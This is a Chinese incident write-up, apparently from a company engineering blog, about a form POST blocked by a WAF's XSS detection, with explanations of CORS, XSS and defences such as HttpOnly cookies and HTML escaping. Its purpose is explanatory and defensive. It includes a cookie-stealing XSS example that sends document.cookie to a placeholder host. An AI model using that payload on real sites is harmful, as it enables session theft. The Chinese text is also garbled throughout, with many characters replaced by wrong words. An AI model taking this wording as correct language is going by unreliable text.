关于http:层层剖析一次-HTTP-POST-请求事故

41次阅读

共计 4914 个字符,预计需要花费 13 分钟才能阅读完成。

vivo 互联网服务器团队 - Wei Ling

本文次要讲述的是如何依据公司网络架构和业务特点,锁定失常申请被误判为跨域的起因并解决。

一、问题形容

某一个业务后盾在表单提交的时候,报跨域谬误,具体如下图:

从图中可看出,报错起因为 HTTP 申请发送失败,由此,需先理解 HTTP 申请残缺链路是什么。

HTTP 申请个别通过 3 个关卡,别离为 DNS、Nginx、Web 服务器,具体流程如下图:

  • 浏览器发送申请首先达到当地运营商 DNS 服务器,通过域名解析获取申请 IP 地址
  • 浏览器获取 IP 地址后,发送 HTTP 申请达到 Nginx,由 Nginx 反向代理到 Web 服务端
  • 最初,由 web 服务端返回相应的资源

理解 HTTP 根本申请链路后,联合问题,进行初步考察,发现此 form 表单是 application/json 格局的 post 提交。同时,此业务零碎采纳了前后端拆散的架构形式 (页面域名和后盾服务域名不同), 并且在 Nginx 曾经配置跨域解决方案。基于此,咱们进行剖析。

二、问题排查步骤

第一步:自测定位

既然是 form 表单,咱们采纳控制变量法,尝试对每一个字段进行批改后提交测试。在屡次试验后,锁定表单中的 moduleExport 字段的变动会导致这个问题

思考到 moduleExport 字段在业务上是一段 JS 代码,咱们尝试对这段 JS 代码进行删除 / 批改,发现: 当字段 moduleExport 中的这段 js 代码足够小的时候,问题隐没。

基于上述发现,咱们第一个猜测是:会不会是 HTTP 响应方的申请 body 大小限度导致了这个问题。

第二步:排查 HTTP 申请 body 限度

因为采纳前后端拆散,实在的申请是由 XXX.XXX.XXX 这个内网域名代表的服务进行响应的。而内网域名的响应链如下:

那么实践上,如果是 HTTP 申请 body 的限度,则可能产生在 LVS 层或者 Nginx 层或者 Tomcat。咱们一步步排查:

首先排查 LVS 层。 若 LVS 层故障,则会呈现网关异样的问题,返回码会为 502。故此,通过抓包查看返回码,从下图可看出,返回码为 418,故而排除 LVS 异样的可能

其次排查 Nginx 层。Nginx 层的 HTTP 配置如下:

咱们看到,在 Nginx 层,最大反对的 HTTP 申请 body 为 50m,而咱们这次事变的 form 申请表单,大概在 2M,远小于限度,所以: 不是 Nginx 层 HTTP 申请 body 的限度造成的

而后排查 Tomcat 层,查看 Tomcat 配置:

咱们发现,Tomcat 对于最大 post 申请的 size 限度是 -1,语义上示意为无限度,所以: 不是 Tomcat 层 HTTP 申请 body 的限度造成的。

综上,咱们能够认为: 此次问题和 HTTP 申请 body 的大小限度无关。

那么问题来了,如果不是这两层导致的,那么还会有别的因素或者别的网络层导致的吗?

第三步:集思广益

咱们把相干的运维方拉到了一个群外面进行探讨,探讨分两个阶段

  • 【第一阶段】

运维方同学发现 Tomcat 是应用容器进行部署的,而容器和 nginx 层两头,存在一个容器自带的 nameserver 层——ingress。咱们查看 ingress 的相干配置后,发现其对于 HTTP 申请 body 的大小限度为 3072m。排除是 ingress 的起因。

  • 【第二阶段】

平安方同学示意,公司为了避免 XSS 攻打,会对于所有后盾申请,都进行 XSS 攻打的校验,如果校验不通过,会报跨域谬误。

也就是说,实践上残缺的网络层调用链如下图:

并且从 WAF 的工作机制和问题表象上来看, 很有可能是 WAF 层的起因

第四步:WAF 排查

带着上述的猜想,咱们从新抓包,尝试获取整个 HTTP 申请的 optrace 门路,看看是不是在 WAF 层被拦挡了,抓包后果如下:

从抓包数据上来看,status 为 complete 代表前端申请发送胜利,返回码为 418,而 optrace 中的 ip 地址经查问为 WAF 服务器 ip 地址

综上而言,form 表单中的 moduleExport 字段的变动很可能导致在 WAF 层被拦挡 。而呈现问题的 moduleExport 字段内容如下:

module.exports = {
    "labelWidth": 80,
    "schema": {
        "title": "XXX",
        "type": "array",
        "items":{
            "type":"object",
            "required":["key","value"],
            "properties":{
                "conf":{
                    "title":"XXX",
                    "type":"string"
                },
                "configs":{
                    "title":"XXX",
                    "type":"array",
                    "items":{
                        ......
                            config: {
                                ......
                                validator: function(value, callback) {
                                    // 至多填写一项
                                    if(!value || !Object.keys(value).length) {return callback(new Error('至多填写一项'))
                                    }
 
                                   callback()}
                         }
              ......
      }

咱们进行一个字段一个字段排查后,锁定 module.exports.items.properties.configs.config.validator 字段会触发 WAF 的拦挡机制:申请包过 WAF 模块时会对所有的攻打规定都会进行匹配,若属于高危危险规定,则触发拦挡动作。

三、问题剖析

整个故障的起因,是业务申请的内容触发了 WAF 的 XSS 攻打检测。那么问题来了

  • 为什么须要 WAF
  • 什么是 XSS 攻打

在阐明 XSS 之前,先得说分明浏览器的跨域爱护机制

3.1 跨域爱护机制

古代浏览器都具备‘同源策略’,所谓同源策略,是指只有在地址的:

  1. 协定名 HTTPS,HTTP
  2. 域名
  3. 端口名

均一样的状况下,才容许拜访雷同的 cookie、localStorage 或是发送 Ajax 申请等等。若在不同源的状况下拜访,就称为跨域。而在日常开发中,存在正当的跨域需要,比方此次问题故障对应的零碎,因为采纳了前后端拆散,导致页面的域名和后盾的域名必然不雷同。那么如何正当跨域便成了问题。

常见的跨域解决方案有:IFRAME, JSONP, CORS 三种。

  • IFRAME 是在页面外部生成一个 IFRAME,并在 IFRAME 外部动静编写 JS 进行提交。用到此技术的有晚期的 EXT 框架等等。
  • JSONP 是将申请序列化成一个 string,而后发动一个 JS 申请,带上 string。此做法须要后盾反对,并且只能应用 GET 申请。在以后的业内曾经破除此计划。
  • CORS 协定的利用比拟宽泛,并且此次出事变的零碎是采纳了 CORS 进行前后端拆散。那么,什么是 CORS 协定呢?

3.2 CORS 协定

CORS(Cross-Origin Resource Sharing) 跨源资源分享是解决浏览器跨域限度的 W3C 规范 (官网文档),其外围思路是:在 HTTP 的申请头中设置相应的字段,浏览器在发现 HTTP 申请的相干字段被设置后,则会失常发动申请,后盾则通过对这些字段的校验,决定此申请是否是正当的跨域申请。

CORS 协定须要服务器的反对 (非服务器的业务过程),比方 Tomcat 7 及其当前的版本等等。

对于开发者来说,CORS 通信与同源的 AJAX 通信没有差异,代码齐全一样。浏览器一旦发现 AJAX 申请跨源,就会主动增加一些附加的头信息,有时还会多出一次附加的申请,但用户不会有感觉。

因而, 实现 CORS 通信的要害是服务器 (服务器端可判断,让哪些域能够申请)。只有服务器实现了 CORS 协定,就能够跨源通信。

尽管 CORS 解决了跨域问题,但引入了危险,如 XSS 攻打,因而在达到服务器之前需加一层 Web 利用防火墙 (WAF),它的作用是:过滤所有申请,当发现申请是跨域时,会对整个申请的报文进行规定匹配,如果发现规定不匹配,则间接报错返回 (相似于此次案例中的 418)。

整体流程如下:

不合理的跨域申请,咱们个别认为是侵略性申请,这一类的申请,咱们视为 XSS 攻打。那么狭义而言的 XSS 攻打又是什么呢?

3.3 XSS 攻打机制

XSS 为跨站脚本攻打(Cross-Site Scripting)的缩写,能够将代码注入到用户浏览的网页上,这种代码包含 HTML 和 JavaScript。

例如有一个论坛网站,攻击者能够在下面公布以下内容:

<script>location.href="//domain.com/?c=" + document.cookiescript>

之后该内容可能会被渲染成以下模式:

<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>

另一个用户浏览了含有这个内容的页面将会跳转到 domain.com 并携带了以后作用域的 Cookie。如果这个论坛网站通过 Cookie 治理用户登录状态,那么攻击者就能够通过这个 Cookie 登录被攻击者的账号了。

XSS 通过伪造虚伪的输出表单骗取个人信息、显示伪造的文章或者图片等形式可窃取用户的 Cookie,盗用 Cookie 后就可假冒用户拜访各种零碎,危害极大。

上面给出 2 种 XSS 防御机制。

3.4 XSS 防御机制

XSS 防御机制次要包含以下两点:

3.4.1 设置 Cookie 为 HTTPOnly

设置了 HTTPOnly 的 Cookie 能够避免 JavaScript 脚本调用,就无奈通过 document.cookie 获取用户 Cookie 信息。

3.4.2 过滤特殊字符

例如将 < 本义为 <,将 \> 本义为 >,从而防止 HTML 和 Jascript 代码的运行。

富文本编辑器容许用户输出 HTML 代码,就不能简略地将 < 等字符进行过滤了,极大地提高了 XSS 攻打的可能性。

富文本编辑器通常采纳 XSS filter 来防备 XSS 攻打,通过定义一些标签白名单或者黑名单,从而不容许有攻击性的 HTML 代码的输出。

以下例子中,form 和 script 等标签都被本义,而 h 和 p 等标签将会保留。

<h1 id="title">XSS Demo</h1>
 
<p>123</p>
 
<form>
  <input type="text" name="q" value="test">
</form>
 
<pre>hello</pre>
 
<script type="text/javascript">
alert(/xss/);
</script>
<h1>XSS Demo</h1>
 
<p>123</p>

本义后:

<h1>XSS Demo</h1>
 
<p>123</p>
 
&lt;form&gt;
&lt;input type="text" name="q" value="test"&gt;
&lt;/form&gt;
 
<pre>hello</pre>
 
&lt;script type="text/javascript"&gt;
alert(/xss/);
&lt;/script&gt;

四、问题解决

在确定问题后,让平安团队批改 WAF 的拦挡规定后,问题隐没。

最初,对此问题进行总结。

五、问题总结

纵览整个排查过程,最消耗资源的工作集中于问题定位:到底是哪个模块呈现了问题。而定位模块的最大难点在于:对于网络全链路的不理解 (之前并不通晓 WAF 层的存在)。

那么,针对相似的问题,咱们前面应该如何去减速问题的解决呢?我认为有两点须要留神:

  1. 采纳控制变量法,精准定位到问题的边界——什么时候能呈现,什么时候不能呈现。
  2. 相熟每一个模块的存在,以及每一个模块的职责边界和危险可能。

上面来一一解释:

5.1 确定问题边界

咱们在一开始,确定是 form 表单导致的问题后,咱们就一一字段进行批改验证,最终确定其中某个字段导致的景象。在定位到具体的问题发生地后,由将之前锁定的字段进行拆解,逐渐剖析字段中每个属性,从而最终确定 XX 属性的值触犯了 WAF 的规定机制。

5.2 定位模块谬误

在此案例中,跨域回绝的故障次要是网络层,那么咱们就必须要摸清楚整个业务服务的网络层次结构。而后对每一层的状况进行剖析。

  • 在 Nginx 层,咱们对配置文件进行剖析
  • 在 ingress 层,咱们对其中的配置规定进行剖析
  • 在 Tomcat 层,咱们对 server.xml 的属性进行剖析

总结而言,咱们必须相熟每一个模块的职责,并且通晓如何判断每一个模块是否在整个链路中失常工作,只有基于此,咱们能力将问题起因的范畴逐渐放大,从而最初取得答案。

正文完
 0